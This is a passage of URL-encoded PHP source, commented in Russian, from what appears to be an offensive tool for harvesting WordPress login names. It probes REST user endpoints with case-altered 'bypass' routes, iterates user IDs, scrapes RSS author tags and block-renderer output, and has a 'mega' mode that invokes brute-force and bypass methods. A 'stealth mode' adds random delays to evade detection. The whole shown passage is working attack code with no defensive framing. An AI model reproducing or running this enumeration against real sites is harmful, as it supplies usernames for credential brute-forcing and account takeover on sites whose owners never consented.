%BE%20%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BE%D1%87%D0%BD%D0%BE%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24mode%20%3D%3D%3D%20%27heavy%27%20%26%26%20count%28%24logins%29%20%3E%3D%2010%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24this-%3EbuildResult%28%24url%2C%20%24logins%2C%20%24methods_used%2C%20microtime%28true%29%20-%20%24start_time%2C%20%24attempts%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A3%D0%A0%D0%9E%D0%92%D0%95%D0%9D%D0%AC%204%3A%20MEGA%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%20-%20%D0%B4%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%B0%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24mode%20%3D%3D%3D%20%27mega%27%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mega_methods%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryBruteForceUsers%27%20%3D%3E%20%27brute_force_users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryAdvancedBypass%27%20%3D%3E%20%27advanced_bypass%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryPluginEndpoints%27%20%3D%3E%20%27plugin_endpoints%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24mega_methods%20as%20%24method%20%3D%3E%20%24method_name%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24method_logins%20%3D%20%24this-%3E%24method%28%24base_url%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24attempts%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24method_logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24method_logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24methods_used%5B%5D%20%3D%20%24method_name%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A3%D0%BD%D0%B8%D0%BA%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D1%8B%20%D1%81%20%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9%20%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B5%D0%B9%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%24this-%3EcleanAndDeduplicateLogins%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24this-%3EbuildResult%28%24url%2C%20%24logins%2C%20%24methods_used%2C%20microtime%28true%29%20-%20%24start_time%2C%20%24attempts%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27failed_requests%27%5D%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27base_url%27%20%3D%3E%20%24url%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27logins%27%20%3D%3E%20%5B%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27methods_used%27%20%3D%3E%20%24methods_used%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27confidence%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27process_time%27%20%3D%3E%20microtime%28true%29%20-%20%24start_time%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27attempts%27%20%3D%3E%20%24attempts%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27error%27%20%3D%3E%20%24e-%3EgetMessage%28%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20%D0%BF%D1%80%D1%8F%D0%BC%D0%BE%D0%B9%20REST%20API%20%D1%81%20%D0%B4%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%BC%D0%B8%20%D1%8D%D0%BD%D0%B4%D0%BF%D0%BE%D0%B8%D0%BD%D1%82%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryDirectRestAPI%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/wp/v2/usErs%27%2C%20%20%20%20//%20case%20bypass%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/Wp/v2/users%27%2C%20%20%20%20//%20case%20bypass%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/wp/V2/users%27%2C%20%20%20%20//%20case%20bypass%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/wp/v2/users/%27%2C%20%20%20//%20trailing%20slash%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users%3Fper_page%3D100%27%2C%20%20//%20more%20results%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users%3F_fields%3Did%2Cname%2Cslug%27%2C%20%20//%20specific%20fields%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/index.php%3Frest_route%3D/wp/v2/users%27%20%20//%20index.php%20variant%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24users%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24users%29%20%26%26%20%21empty%28%24users%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24users%20as%20%24user%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27slug%27%5D%29%20%26%26%20%21empty%28%24user%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%BF%D0%BE%D0%BB%D1%8F%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27name%27%5D%29%20%26%26%20%21empty%28%24user%5B%27name%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24normalized%20%3D%20%24this-%3EnormalizeLogin%28%24user%5B%27name%27%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24normalized%29%20%24logins%5B%5D%20%3D%20%24normalized%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27direct_rest_api%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20//%20%D0%9F%D1%80%D0%BE%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D0%B5%D0%BC%20%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8%20%D0%B8%20%D0%BF%D1%80%D0%BE%D0%B1%D1%83%D0%B5%D0%BC%20%D1%81%D0%BB%D0%B5%D0%B4%D1%83%D1%8E%D1%89%D0%B8%D0%B9%20endpoint%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20%D0%BF%D0%B5%D1%80%D0%B5%D0%B1%D0%BE%D1%80%20%D0%BF%D0%BE%20ID%20%D1%81%20%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D1%8B%D0%BC%20%D0%B4%D0%B8%D0%B0%D0%BF%D0%B0%D0%B7%D0%BE%D0%BD%D0%BE%D0%BC%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryUserEnumByID%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24max_id%20%3D%20%28%24this-%3Eoptions%5B%27max_user_id%27%5D%20%3F%3F%2020%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20for%20%28%24i%20%3D%201%3B%20%24i%20%3C%3D%20%24max_id%3B%20%24i%2B%2B%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/wp-json/wp/v2/users/%7B%24i%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/%3Frest_route%3D/wp/v2/users/%7B%24i%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/wp-json/wp/v2/users/%7B%24i%7D%3F_fields%3Dslug%2Cname%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24user%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%20//%20%D0%9F%D0%B5%D1%80%D0%B5%D1%85%D0%BE%D0%B4%D0%B8%D0%BC%20%D0%BA%20%D1%81%D0%BB%D0%B5%D0%B4%D1%83%D1%8E%D1%89%D0%B5%D0%BC%D1%83%20ID%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9F%D0%B0%D1%83%D0%B7%D0%B0%20%D0%BC%D0%B5%D0%B6%D0%B4%D1%83%20%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0%D0%BC%D0%B8%20%D0%B2%20stealth%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%26%26%20%24i%20%25%205%20%3D%3D%3D%200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%28100000%2C%20300000%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27user_enum_by_id%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20RSS%20%D1%84%D0%B8%D0%B4%20%D1%81%20%D0%B4%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%BC%D0%B8%20%D0%B8%D1%81%D1%82%D0%BE%D1%87%D0%BD%D0%B8%D0%BA%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryRSSFeed%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24feeds%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/feed/%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/rss/%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Ffeed%3Drss2%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Ffeed%3Drss%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Ffeed%3Datom%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/feed/rss/%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/feed/rss2/%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/rss.xml%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/atom.xml%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24feeds%20as%20%24feed%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24feed%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%20%26%26%20%21empty%28%24response%5B%27body%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20dc%3Acreator%20%D1%82%D0%B5%D0%B3%D0%B8%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%3Cdc%3Acreator%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2B%29%3C%5C/dc%3Acreator%3E/i%27%2C%20%24response%5B%27body%27%5D%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20author%20%D1%82%D0%B5%D0%B3%D0%B8%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%3Cauthor%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2B%29%3C%5C/author%3E/i%27%2C%20%24response%5B%27body%27%5D%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20managingEditor%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%3CmanagingEditor%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2B%29%3C%5C/managingEditor%3E/i%27%2C%20%24response%5B%27body%27%5D%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27rss_feed%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20Block%20Renderer%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryBlockRenderer%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24blocks%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27core/latest-posts%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27core/post-author%27%2C%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27core/post-author-name%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27core/latest-comments%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27core/post-meta%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24blocks%20as%20%24block%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/wp-json/wp/v2/block-renderer/%7B%24block%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/%3Frest_route%3D/wp/v2/block-renderer/%7B%24block%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22/wp-json/wp/v2/block-renderer/%7B%24block%7D%3Fcontext%3Dedit%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24data%5B%27rendered%27%5D%29%20%26%26%20%21empty%28%24data%5B%27rendered%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%24this-%3EextractLoginsFromHTML%28%24data%5B%27rendered%27%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27block_renderer%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24logins%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2